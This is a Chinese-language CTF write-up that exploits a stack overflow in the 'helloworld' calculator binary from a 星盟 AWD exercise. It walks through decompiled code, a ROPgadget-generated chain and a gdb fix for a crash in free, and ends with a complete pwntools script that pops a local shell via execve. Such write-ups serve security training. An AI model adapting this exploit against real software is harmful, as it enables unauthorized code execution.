星盟awd-helloworld-静态链接题的ROP

1.拿到题目file一下

在这里插入图片描述
32位静态编译。

2.查保护

星盟awd-helloworld-静态链接题的ROP_第1张图片
只开了NX保护

3.分析程序流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-38h]
  int v5; // [esp+1Ch] [ebp-34h]
  int v6; // [esp+44h] [ebp-Ch]
  _BYTE *v7; // [esp+48h] [ebp-8h]
  int v8; // [esp+4Ch] [ebp-4h]

  v6 = 0;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  Welcome();
  printf("How many times do you want to calculate:");
  _isoc99_scanf("%d", &v6);
  if ( v6 <= 3 || v6 > 255 )
  {
    puts("wrong input!");
    exit(-1);
  }
  v7 = (_BYTE *)malloc(4 * v6);
  v8 = 0;
  while ( v8 < v6 )
  {
    PrintMenu();
    _isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        Add();
        *(_DWORD *)&v7[4 * v8] = ResultAdd;
        goto LABEL_11;
      case 2:
        Sub();
        *(_DWORD *)&v7[4 * v8] = ResultSub;
        goto LABEL_11;
      case 3:
        Mul();
        *(_DWORD *)&v7[4 * v8] = ResultMul;
        goto LABEL_11;
      case 4:
        Div();
        *(_DWORD *)&v7[4 * v8] = ResultDiv;
        goto LABEL_11;
      case 5:
        memcpy(&v5, v7, 4 * v6);
        free(v7);
        return 0;
      default:
        puts("wrong input!");
LABEL_11:
        ++v8;
        break;
    }
  }
  return 0;
}

是一个简易的计算器,但是最后一个5选项是将堆中内存复制到栈中释放并且返回 如果堆中数据足够长,就可以实现栈溢出的效果,输入数据进行测试要输入多少才能实现栈溢出。

星盟awd-helloworld-静态链接题的ROP_第2张图片
2为测试数据,发现16个int即可实现栈溢出,接着构造rop链。。。由于这题是静态链接直接一个命令
ROPgadget --binary helloworld --ropchain
ROP链自动构造好
星盟awd-helloworld-静态链接题的ROP_第3张图片
注意‘//sh’是为了补足4个字节防止截断的产生,构造好了 直接复制粘贴拿了用即可。但是却出现了一个问题,拿不到shell,只好使用gdb调试

此处出现错误,没有[ecx-4]的地址然而ecx的值和第一轮制造垃圾数据实现栈溢出一样猜测可能为此,用IDA分析一下ecx的由来
星盟awd-helloworld-静态链接题的ROP_第4张图片
在free函数中ecx来源于此,并且判断ecx是否为0若为0,则free函数直接结束直接到ROP链
继续分析[esp+0x1c+arg_0]处的地址 由于arg0不确定值只能通过动态调试来实现
星盟awd-helloworld-静态链接题的ROP_第5张图片
mov eax,[esp+48h]的值就是地址0xFFB88848,即为第12个垃圾数据,如果此为0,则free函数直接跳过。那么前面16个垃圾数据都为0即可。最终EXP如下

#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import binascii
import ctypes as ct
from struct import pack
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level="debug"
elf = ELF('./helloworld')
io = process('./helloworld')

p=[]

p.append( 0x0806ed0a)  # pop edx ; ret
p.append( 0x080ea060)  # @ .data
p.append( 0x080bb406)  # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('nib/')))#eval 用来计算字符串表达式的值0x
p.append( 0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append( 0x0806ed0a)  # pop edx ; ret
p.append( 0x080ea064)  # @ .data + 4
p.append( 0x080bb406)  # pop eax ; ret
p.append(eval('0x'+binascii.b2a_hex('hs//')))
p.append(0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append(0x0806ed0a)  # pop edx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x08054730)  # xor eax, eax ; ret
p.append(0x080a1dad)  # mov dword ptr [edx], eax ; ret
p.append(0x080481c9)  # pop ebx ; ret
p.append(0x080ea060)  # @ .data
p.append(0x0806ed31)  # pop ecx ; pop ebx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x080ea060)  # padding without overwrite ebx
p.append(0x0806ed0a)  # pop edx ; ret
p.append(0x080ea068)  # @ .data + 8
p.append(0x08054730)  # xor eax, eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x0807b75f)  # inc eax ; ret
p.append(0x08049781)  # int 0x80

io.recvuntil('How many times do you want to calculate:')
io.sendline('255')
for i in xrange(0,16):
   io.recvuntil('5 Save the result\n')
   io.sendline('1')
   io.recvuntil('input the integer x:')
   io.sendline('0')
   io.recvuntil('input the integer y:')
   io.sendline('0')

for j in p:
   io.recvuntil('5 Save the result\n')
   io.sendline('1')
   io.recvuntil('input the integer x:')
   io.sendline(str(ct.c_int32(j).value))
   io.recvuntil('input the integer y:')
   io.sendline('0')
#gdb.attach(io)
#pause()
io.recvuntil('5 Save the result\n')
io.sendline('5')
io.interactive()

你可能感兴趣的:(CTF-PWN)